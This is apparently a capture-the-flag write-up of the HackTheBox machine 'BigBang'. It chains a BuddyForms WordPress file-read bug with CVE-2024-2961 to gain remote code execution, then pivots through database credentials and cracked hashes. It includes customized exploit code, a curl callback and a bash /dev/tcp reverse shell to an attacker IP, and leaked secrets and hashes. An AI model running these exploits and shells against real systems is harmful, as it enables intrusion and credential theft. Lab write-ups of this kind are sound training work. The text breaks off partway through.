BigBang
2025-01-26
INTRODUCTION
BigBang was released as the third box of Season 7 Vice. It’s rated as Hard, but I think it’s more correctly classified as Insane. It took me roughly 35h to complete, research and all.
Recon was pretty simple, at surface level. The target is just a standard Wordpress site. Do a bit of Wordpress-specific recon to find some interesting things about the site. Try finding the interactive elements on the page, and you will quickly see a way to upload files. If you can turn this into an arbitrary upload, you’re well on the way to foothold.
Vulnerability research is absolutely essential for foothold. The exploit you’ll need to craft really has two major parts. The first part is not too big of a stretch, an experienced person can figure it out without too much difficulty. The second part, however, is ludicrous, and it’s absolutely baffling how anyone ever figured it out - one of those Pwn exploits that require crazy memory management tricks. Thankfully, there is a PoC somewhere that will aid in crafting an exploit for this target.
If you somehow manage to gain a foothold, things get a lot more straightforward, but there will be three more pivots still. Crack some hashes, test some credential reuse, repeat.
At the final user, you will discover an APK to analyze. Try to learn how the app works, and how it might interact with the rest of the system infront of you. Ultimately, the APK is only a way to gain an understanding of the surrounding environment; it’s not the actual target. The final exploit is deceptively simple, but requires a bypass that you might not try right away.
This box was… a major challenge. Despair. 😔
RECON
nmap scans
Port scan
I’ll set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scan it with a port scan covering all ports:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_ 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
Note the redirect to http://blog.bigbang.htb
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
7/udp open|filtered echo
53/udp open|filtered domain
68/udp open|filtered tcpwrapped
80/udp open|filtered http
136/udp open|filtered tcpwrapped
162/udp open|filtered tcpwrapped
177/udp open|filtered xdmcp
1023/udp open|filtered tcpwrapped
1433/udp open|filtered tcpwrapped
1701/udp open|filtered L2TP
1900/udp open|filtered upnp
2049/udp open|filtered nfs
10000/udp open|filtered ndmp
20031/udp open|filtered tcpwrapped
49154/udp open|filtered unknown
49156/udp open|filtered unknown
49181/udp open|filtered unknown
49190/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy
Noting the redirect from the nmap scan, I added bigbang.htb
and the subdomain blog.bigbang.htb
to /etc/hosts
and did banner grabbing on that domain:
DOMAIN=bigbang.htb
echo "$RADDR blog.$DOMAIN $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && whatweb --aggression 3 http://blog.$DOMAIN && curl -IL http://$RADDR
Now we know:
- The operating system is Debian
- They’re running a current version of Apache
- The target is Wordpress (I should go do some research on attacking wordpress 🚩)
- Some weird headers are in the request
Subdomain enum
Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate domains:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results.
Next I’ll check for subdomains of bigbang.htb
:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
Only the result we already knew about. It would be foolish to neglect to check for subdomains of that subdomain, though:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.blog.$DOMAIN" -c -t 60 -o fuzzing/vhost-blog-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results. I’ll move on to directory enumeration next:
Directory enum
First, I’ll check bigbang.htb
:
I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.
# composition of several wordlists from SecLists
WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -fw 20
Nothing. now I’ll check the wordpress subdomain, blog.bigbang.htb
:
ffuf -w $WLIST:FUZZ -u http://blog.$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-blog -of json -timeout 4 -e ',.php,.txt,.bak,.html,.xml' -mc all -fc 404
That’s a lot! But then again, I guess Wordpress isn’t exactly known for being lightweight 😅
Exploring the Website
The website looks like a landing page for a physics university. That’s right, a university that on only does physics.
Wappalyzer analyzed a bunch of the included scripts and stylesheets to determine that we’re looking at Wordpress version 6.5.4
The bottom of the page has a TinyMCE editor that allows us to submit a “Review”. I tried one, and found that it submitted fine. The result was alongside the test Review done by root
, shown here at http://blog.bigbang.htb/?cat=1
:
Wordpress Strategy
Theme scraping
curl -s -X GET http://blog.bigbang.htb | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
This shows that the target is currently running the TwentyTwentyFour theme, which was the default theme for Wordpress during 2024.
Wordpress issues a theme like this every year. You can consider it the “basic” theme. It makes a great starting point for building your own theme, or fully-custom website in Wordpress. It also receives the most testing of any theme, so I doubt we’ll find any security holes in it.
Plugin scraping
curl -s -X GET http://blog.bigbang.htb | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
We can see that there are a bunch of links referencing the buddyforms plugin.
Buddyforms has had a few vulnerabilities disclosed over the last few years. One really notable one I found was regarding a failure to validate the image URL in the upload_image_from_url
function. This can lead to all sorts of fun things, including PHAR deserialization. This vulnerability was patched at version 2.7.8, but we don’t actually know what version our target is running… I will definitely check this out soon 🚩
WPScan
WPScan is installed by default in Kali, and has a ton of excellent recon features. Let’s try it out:
wpscan --url blog.$DOMAIN
It uncovered a LOT of info:
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.62 (Debian)
| - X-Powered-By: PHP/8.3.2
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.bigbang.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
| Found By: Rss Generator (Passive Detection)
| - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
| - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
[+] WordPress theme in use: twentytwentyfour
| Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-11-13T00:00:00.000Z
| Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.3
| [!] Directory listing is enabled
| Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] buddyforms
| Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
| Last Updated: 2024-09-25T04:52:00.000Z
| [!] The version is out of date, the latest version is 2.8.13
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 2.7.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:04
<=========================================================>
(137 / 137) 100.00% Time: 00:00:04
[i] No Config Backups Found.
We already knew a few of those things, but this scan provided some valuable insight:
- XML-RPC is enabled
- External wp-cron is enabled
- Directory listing is enabled on
/uploads
- http://blog.bigbang.htb/wp-content/uploads/
- There are a LOT of
.png
files in there, in addition to the one I uploaded via the “Reviews” form
- Directory listing is enabled for the theme, too
- Buddyforms is at version 2.7.7!
- It says only 80% confidence. However, if you check the readme that it links to, you’ll see that 2.7.7 is the top item in the changelog.
- That means it’s probably vulnerable to the insecure deserialization CVE I found earlier, CVE-2023-26326!
FOOTHOLD
PHAR Deserialization
🚫 This didn’t lead anywhere, but…
I end up re-using the second of the two requests that I showed below (the one that accesses a PHAR file by “uploading” to
/wp-admin/admin-ajax.php
).If you’re short on time, just read that part and skip to the next section.
The author of the CVE-2023-26326 disclosure makes exploitation of the BuddyForms bug sound really easy. However, they mention a couple times that they’ve inserted a “dummy” helper class to ensure that their payload actually executes.
We definitely don’t have such a “dummy” class on our target, so I’m not expecting success on this… Regardless, there have been some really easy PHAR deserialization bugs in the past, so let’s try out their methods and see what happens.
Their “Dummy” class (not shown here) contains a definition for the
Evil
class, which implements the__wakeup()
method. This is one of the PHP “magic” methods that performs deserialization and can be used to achieve RCE; it’s one of the methods that froms the basis of PHP POP chains.The point is this: since our target does not have
Evil
declared whenevil.phar
would be deserialized, there is zero chance that this will work. Make sense?
I copied the author’s PHP for generating a PoC phar file:
<?php
class Evil{
function revshell() : void {
echo "hello world";
phpinfo();
}
public function __wakeup() : void {
revshell();
die("Arbitrary Deserialization");
}
}
//create new Phar
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();
To run the script and generate the .phar
file, we must set phar.readonly
to false:
php --define phar.readonly=0 phar_deserialization_1.php
I’ve already observed that the Review feature on the front page of our target interacts with /wp-admin/admin-ajax.php
and uses BuddyForms (vulnerable version), so that’s where we’ll submit this payload.
BuddyForms has a filetype filter, but we can bypass this easily be interacting with the
/wp-admin/admin-ajax.php
endpoint directly, circumventing the form entirely.
We can verify that the upload succeeded by checking the uploads
directory: http://blog.bigbang.htb/wp-content/uploads/2025/01/. The file gets renamed to 1.png
automatically.
The second part is perform that same request, but upload the file to the server using the phar://
wrapper. We must use the same id
parameter:
Since we need to use the
phar://
wrapper, the URL must now point to a file, instead of an HTTP address. Therefore, we will use the relative path to theuploads
directory instead.
This might work, but to get RCE I would have to find a gadget chain that actually exists in the application. For now though, this might be useful an file read?
Arbitrary File Read
While searching for ways to leverage BuddyForms into a file read, I came across another, much larger, article by Ambionics. They reference the BuddyForms-related CVE and show how they were able to turn CVE-2023-26326 into RCE 😮
It looks like they listed their findings as CVE-2024-2961. They also mention using another tool by Ambionics called wrapwrap. Wrapwrap determines the PHP filter chain (as shown in the CVE-2024-2961 article) that can be used to encapsulate data - adding both a prefix and a suffix to the data. Perfect for if we want to trick the server into interpreting a file as an “alternative” file type!
mkdir ./python-env && cd python-env
python3 -m venv . && source bin/activate
https://github.com/ambionics/wrapwrap.git
pip3 install ten # there's no requirements.txt file for this repo, so install manually
python3 wrapwrap.py /etc/passwd 'GIF89a\n' '' 100
This should make a PHP filter chain to read /etc/passwd
, prefixing it with a GIF header. The filter chain is in ./chain.txt
and appears to have worked perfectly.
Using this filter chain, we should be able to re-use the idea from the CVE-2023-26326 blog post, combining it with CVE-2024-2961, to perform an arbitrary file read.
It took a little while, but I put together a nice script to tackle everything: https://github.com/4wayhandshake/CVE-2024-2961. I also included a handy feature that allows us to download files from this same prompt.
The prefix length is 9 because of
GIF89a\n
(and the slash counts as two chars, due to python’s character escaping)
Wordpress Admin Panel
As shown during directory enumeration, we can freely access the login at /wp-admin
. We don’t have any valid credentials, but we’re reasonably certain (based on existing Reviews on the blog) that root
is a username.
As saw earlier, we could probably transform some PHAR deserialization into RCE if we only had a vulnerable class already loaded into memory - one that implements at least one of the PHP POP chain “magic functions”.
So, if we can login to
/wp-admin
, couldn’t we just load a malicious plugin into the website that has a vulnerable Class in it?Or even better, could we just install a plugin that provides us a webshell directly?
Getting valid credentials to the admin panel would open us up to a whole new set of possibilities for foothold.
But since this is standard Wordpress, and we have an LFI that can access anything the webserver can reach, why not just check to see if we can get a password?
The main Worpress config file is wp-config.php
:
Theres a whole bunch of secrets in this file:
define( 'AUTH_KEY', '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY', 'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY', ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY', 'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT', '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT', '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT', 't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );
But, unless I’m mistaken, we can’t actually use these without some kind of XSS 🤔
There’s a good chance a smarter person would know how to utilize this info, but I don’t! 😓
Ambionics CVE-2024-2961 Exploit
Planning
We saw earlier from the video at the bottom of the Ambionics article that the author was able to leverage CVE-2024-2961 into full RCE:
https://www.ambionics.io/images/iconv-cve-2024-2961-p1/demo.mp4
How is that possible? Well, in short, they used long Iconv PHP filter chain that overflows data to ultimately cause an out-of-bounds access to libc and execute OS shell commands:
- LFI
/proc/self/maps
from the target, to find the location of the PHP heap and within it, the location of the reference tolibc
- LFI
libc
to locate the reference tosystem()
- Perform a miraculous heap overflow (as described in the article) that injects a command into
system()
, thus gaining RCE
If I’m following correctly, we should be able to customize their cnext-exploit.py script to replicate their work.
Reading the exploit
Thankfully, the script is really well-commented and leaves instructions for how we might customize it for our target.
Basically, we need to write a custom implementation of Remote
. That’s really simple, since Remote
does almost exactly the same job as my LFI script! I was able to copy-paste a lot of it from the work I had already done.
We implement the
Remote
class so that it follows the same method as our LFI:
- Use the same upload to
/wp-admin/admin-ajax.php
as before, tricking the server into thinking we’re uploading a GIF by using a PHP filter chain. ** The filter chain may or may not also perform some kind of data exfiltration.*- Successful upload returns a URL of the “uploaded” file, we then access that file via a
GET
request to see our exfil’d data.We just need to separate the
download()
–>send()
flow into the two distinct steps described above.
After the definition of Remote
, the exploit does a few things:
- Tests whether or not we have access to the PHP wrappers:
data
,filter
, andzlib.inflate
- Gets a copy of
/self/proc/maps
- Gets a copy of whatever reference to
libc
it finds in/self/proc/maps
- Performs the heap overflow, sneaking a payload into
system()
Implementing Remote
This is roughly where I landed for my first draft of Remote:
I’ve trimmed out
filter_chain
andheaders
for brevity.filter_chain
is just what I got fromwrapwrap
(same as I used for the LFI) andheaders
are a copy-paste from my original interactions withblog.bigbang.htb
via ZAP 👇
class Remote:
"""A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
```php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
Tweak it to fit your target, and start the exploit.
"""
filter_chain = 'convert.base64-encode|convert.iconv.855.UTF7|...|convert.base64-decode'
headers = {
"host": "blog.bigbang.htb",
#...
"Sec-GPC": "1"
}
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.get(path, proxies=proxies)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
uploaded_path = self.upload_resource(path)
if uploaded_path is None:
return
response = self.send(uploaded_path)
# Remove the GIF prefix
t = response.text[9:]
return t.encode()
def upload_resource(self, path: str) -> None:
url = f'http://blog.bigbang.htb/wp-admin/admin-ajax.php'
_url = f'php://filter/{self.filter_chain}/resource={path}'
data = {
"action": "upload_image_from_url",
"url": _url,
"id": 42,
"accepted_files": "image/gif"
}
resp = self.session.post(url, headers=self.headers, data=data, timeout=3, proxies=proxies)
if 200 <= resp.status_code <= 299:
resp_data = resp.json()
if ('status' in resp_data) and ('response' in resp_data) and resp_data.get('status') == 'OK':
return resp_data.get('response')
return None
return None
With `Remote` in this state, a call to `Remote::download()` pretty much replicates what my LFI script did before.
#### Pre-exploit tests
It didn't take long to realize that the `Remote` class in this state caused all of the pre-exploit tests to fail.
> ##### Out-of-band testing
>
> The end goal of this exploit is to gain RCE. To verify whether or not it's working, I'll be issuing a simple `curl` command so that it contacts my (attacker-controlled) HTTP server; i.e. I'll try to inject this:
>
> ```bash
> curl "http://10.10.14.14:8000?msg=cnext"
> ```
>
> To listen for this, I'll start up an [HTTP server](https://github.com/4wayhandshake/simple-http-server):
>
> ```bash
> sudo ufw allow from $RADDR to any port 8000
> simple-server 8000 -v
> ```
Why did the pre-exploit tests fail? Simple: those tests include their own filter chains and `/resource=` parts, so I had to adjust the code to accomodate that. I added an extra arg called `has_own_wrapper` and changed the behaviour of `upload_resource` to trim out the provided PHP wrappers and `resource`, and insert them into the proper spots within the actual POST request:
```python
def upload_resource(self, path: str, has_own_wrapper) -> None:
url = f'http://blog.bigbang.htb/wp-admin/admin-ajax.php'
if not has_own_wrapper:
_url = f'php://filter/{self.filter_chain}/resource={path}'
else:
# How can I merge the GIF filter chain with the one provided in path?
i = path.find('/resource=')
ii = len('/resource=')
if i < 0:
raise ValueError('the "/resource=" substring was expected, but not provided:\n{path}')
resource = path[i+ii:]
j = path.find('php://filter/')
jj = len('php://filter/')
filt = self.filter_chain
if j >= 0 and (abs(i-(j+jj))>0):
# Append the provided filter chain to the GIF filter chain?
filt = self.filter_chain + '|' + path[j+jj:i]
_url = f'php://filter/{filt}/resource={resource}'
data = {
"action": "upload_image_from_url",
"url": urllib.parse.quote_plus(_url),
"id": 42,
"accepted_files": "image/gif"
}
resp = self.session.post(url, headers=self.headers, data=data, timeout=10, proxies=proxies)
if 200 <= resp.status_code <= 299:
resp_data = resp.json()
if ('status' in resp_data) and ('response' in resp_data) and resp_data.get('status') == 'OK':
return resp_data.get('response')
return None
return None
Yep! That actually works surprisingly well 👍
However, this code still causes the zlib.inflate test to fail. Ultimately, I realized that zlib.inflate
was only required for the final payload, so I didn’t actually need to fix this behaviour by changing Remote
(more on that later)
Bypassing the tests
For now, we can just bypass the pre-exploit check for zlib.inflate
:
# ...
text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if False and not check_token(text, path):
#if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
msg_success("Exploit preconditions are satisfied")
# ...
Recall steps 1-4 that I outlined in the “reading the exploit” section - The code in this state actually gets us all the way to step 3!
That’s pretty good progress.
Step 3: Get a copy of libc
Even after all kinds if creative workarounds in the code, I could NOT get past part where the exploit reads libc
and tries to find the reference to system()
😞
🤔 But maybe we don’t need to fix the code? Maybe we can just bypass this too? After all, the exploit is simply utilizing the LFI to download libc
and save it to /dev/shm/cnext-libc
, where it access the file from that location:
def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"
# PHP's heap
self.info["heap"] = self.heap or self.find_main_heap(regions)
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
self.download_file(libc.path, LIBC_FILE) # <--- Use the LFI and save to /dev/shm/cnext-libc
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start
We already have a reliable LFI (my other script), so why not just check /proc/self/maps
and see what libc
it’s trying to access?
Cool, so it’s going to try to get /usr/lib/x86_64-linux-gnu/libc.so.6
from the target and read it. Seems simple, so why is that part failing? To investigate, I downloaded a copy of that file using my LFI script, and checked it out:
readelf -h libc.so.6
The target’s copy of libc.so.6
is corrupted! Quite badly, too. Maybe we can download the correct one and just bypass that whole portion of the exploit? First, we’ll need to know exactly which version of libc.so.6
we’re looking at:
cat libc.so.6 | grep -a version
That means that the exact version we want should have the filename libc6_2.36-9+deb12u4
. We can find it with a quick search:
Is this a legitimate version of libc? Who’s to say! 🎲
Checking this result, we can find a download for the libc binary partway down the page:
It comes bundled as a .deb
file, so we’ll need to extract it:
mkdir libc
dpkg-deb -x 'libc6_2.36.9+deb12u4_amd64.deb' ./libc
This unpacks a whole directory structure, but we can cherry-pick the exact file we need:
cp libc/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6
Now we can modify the exploit to reference this file, instead of getting the corrupt one from the target:
# ...
def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
#LIBC_FILE = "/dev/shm/cnext-libc" <-- REPLACED
LIBC_FILE = "/home/kali/Box_Notes/BigBang/libc.so.6"
self.info["heap"] = self.heap or self.find_main_heap(regions)
libc = self._get_region(regions, "libc-", "libc.so")
#self.download_file(libc.path, LIBC_FILE) <-- REMOVED
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start
# ...
Let’s try running the script again, now that we’re substituting in an alternate (hopefully not corrupt) version of libc.so.6
:
python3 cnext-exploit-customized.py 'http://blog.bigbang.htb' 'curl http://10.10.14.14:8000?msg=cnext'
We ran into an error again:
And it’s failing right before the payload is delivered (hey, that’s good progress!):
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
try:
self.remote.send(path) # <---- Failing at this line of Exploit
except (ConnectionError, ChunkedEncodingError):
pass
I think I know why, though. It’s because I accidentally let the exploit double-up on the PHP filter chain. To avoid the usual behavour of my Remote::upload_resource()
function (which wraps the provided path with a filter chain to disguise as GIF), I’ll write a new method for Remote
that sends the payload without any disguise - I’ll let this last part of the exploit be sent exactly as the exploit author wrote it:
Theoretically, we don’t need to disguise the final payload as a GIF, because by the time the server parses the
Iconv
filter chain, it’ll be too late: the payload will have already deployed.☝️ We don’t need the GIF disguise because we don’t need to actually download any response from the server.
Using the send_raw()
method, we can submit the payload as-is, while still conforming to our usual “upload-then-read” methodology (like we used with the initial LFI):
class Remote:
# ...
def send_raw(self, path: str) -> Response:
url = f'http://blog.bigbang.htb/wp-admin/admin-ajax.php'
data = {
"action": "upload_image_from_url",
"url": urllib.parse.quote_plus(path),
"id": 43,
"accepted_files": "image/gif"
}
resp = self.session.post(url, headers=self.headers, data=data, timeout=3, proxies=proxies)
resp_url = None
if 200 <= resp.status_code <= 299:
resp_data = resp.json()
if ('status' in resp_data) and ('response' in resp_data) and resp_data.get('status') == 'OK':
resp_url = resp_data.get('response')
if not resp_url:
print(f'The response failed to return a URL:\n{json.dumps(resp.json())}')
return
return self.session.get(resp_url, proxies=proxies)
# ...
class Exploit:
# ...
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
try:
#self.remote.send(path) # <---- REPLACED
self.remote.send_raw(path)
except (ConnectionError, ChunkedEncodingError):
pass
# ...
After this most recent modification, we get a new error - the error we’d expect if the server rejects the file upload due to improper file type:
python3 cnext-exploit-customized.py 'http://blog.bigbang.htb' 'curl http://10.10.14.14:8000?msg=cnext'
That’s no surprise, though. Since I didn’t include our “pretend it’s a GIF” PHP filter chain in the send_raw()
method, this makes perfect sense.
But then I noticed something that nearly knocked me out of my chair:
YES!
YEEEESSSS!
Regardless of the error, we just got RCE!
Reverse shell
If I’m going to leverage RCE into a reverse shell, I’ll need to set up a reverse shell listener:
sudo ufw allow from $RADDR to any port 4444
bash
nc -lvnp 4444
OK, let’s run the exploit again, and see if we pop a shell:
python3 cnext-exploit-customized.py 'http://blog.bigbang.htb' 'bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"'
Checking the reverse shell listener…
Jackpot! 💰
USER FLAG
Local Enumeration - www-data
The reverse shell opens into the wordpress directory. I was already mostly aware of the structure of Wordpress, and know which files to expect. Much earlier, using the LFI script, I had already obtained wp-config.php
, which contained several secrets but also database credentials.
As a refresher, this is what we found for DB cconfiguration inside wp-config.php
:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'wp_password' );
define( 'DB_HOST', '172.17.0.1' );
However, when I went to check netstat
to see if a database was listening, I realized we are in a fairly limited docker container… The essentials are present though, so we’ll have to live off the land (and curl
over what we need!)
Chisel SOCKS Proxy
I’ll serve a pre-built copy of chisel to www-data
so that I can check out the database. I’ll begin by opening a firewall port and starting the chisel
server:
☝️ Note: I already have proxychains installed, and my
/etc/proxychains.conf
file ends with:socks5 127.0.0.1 1080
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse
Then, on the target machine, start up the chisel client and background it:
./chisel client 10.10.14.14:9999 R:1080:socks &
MySQL
Now that the socks5 proxy is open, let’s try connecting to the database:
proxychains mysql -h 172.17.0.1 -D wordpress -u wp_user -pwp_password
Worked perfectly:
Let’s check the wp_users
table first:
Great! I copy-pasted the hashes and usernames into a file:
root:$P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1
shawking:$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./
… and proceeded to try to crack them:
WLIST=/usr/share/wordlists/rockyou.txt
hashcat passwords.hash $WLIST --username
I waited for hours and… nothing. 😞
Finally got fed up and switched to a laptop with a hefty GPU and it managed to crack the password in under a second (and finished rockyou in 15s 🙄 shawking : quantumphysics
We’re able to use this to log into /wp-admin
, which is the purpose of the database, but there’s nothing really in there:
Let’s check for credential reuse on SSH…
🎉 Alright! SSH drops us into /home/shawking
, where the user flag is located. Go ahead and read it for the points:
cat user.txt
ROOT FLAG
Local enumeration - shawking
There are two other low priv users on this box with a login shell:
root:x:0:0:root:/root:/bin/bash
george:x:1000:1000:George Hubble:/home/george:/bin/bash
shawking:x:1001:1001:Stephen Hawking,,,:/home/shawking:/bin/bash
developer:x:1002:1002:,,,:/home/developer:/bin/bash
shawking
has no sudo privileges, so it’s probable that I’ll need to pivot to another user before we can find a path to the root flag.
We can get a preview of a bit of the docker setup on this box by checking ps aux
:
There are several listening processes. Until now, we’ve only seen a couple of these ports:
- 3306 will be the MySQL database we used earlier
- 80 would be HTTP, mapped to one of the other ports listening on the docker container
Let’s pop out of SSH and re-login, this time forwarding some ports:
ssh -L 41443:localhost:41443 -L 9090:localhost:9090 -L 3000:localhost:3000 shawking@$RADDR
The first two ports appear to be using HTTP, but I’ll need to enumerate them. Port 3000, however, is definitely Grafana (the visualization application):
Unfortunately, we don’t have creds for it. And this application is running so slowly that I don’t think I can do an online brute force (even a tiny one).
Thankfully though, I stumbled across some Grafana-related stuff while checking out /opt
. I uploaded the DB for analysis on my attacker host:
Grafana DB
Let’s take a look inside:
Oh, that’s annoying. Checking the file hashes, I realize that the upload did not work fully. I’ll use SCP instead:
scp shawking@$RADDR:/opt/data/grafana.db ./grafana.db
Great, now we can open up the database normally:
sqlite3 grafana.db
sqlite> .mode table
sqlite> .headers on
sqlite> select email, password, salt, rands, uid from user;
I did a quick search about the hashing format for Grafana, and ended up finding a tool for converting these hashes into a usable format for hashcat. It requires the data in password,salt
format, so I adjusted my sqlite query to suit:
.mode csv
select password, salt from user;
The output can be copied to clipboard directly
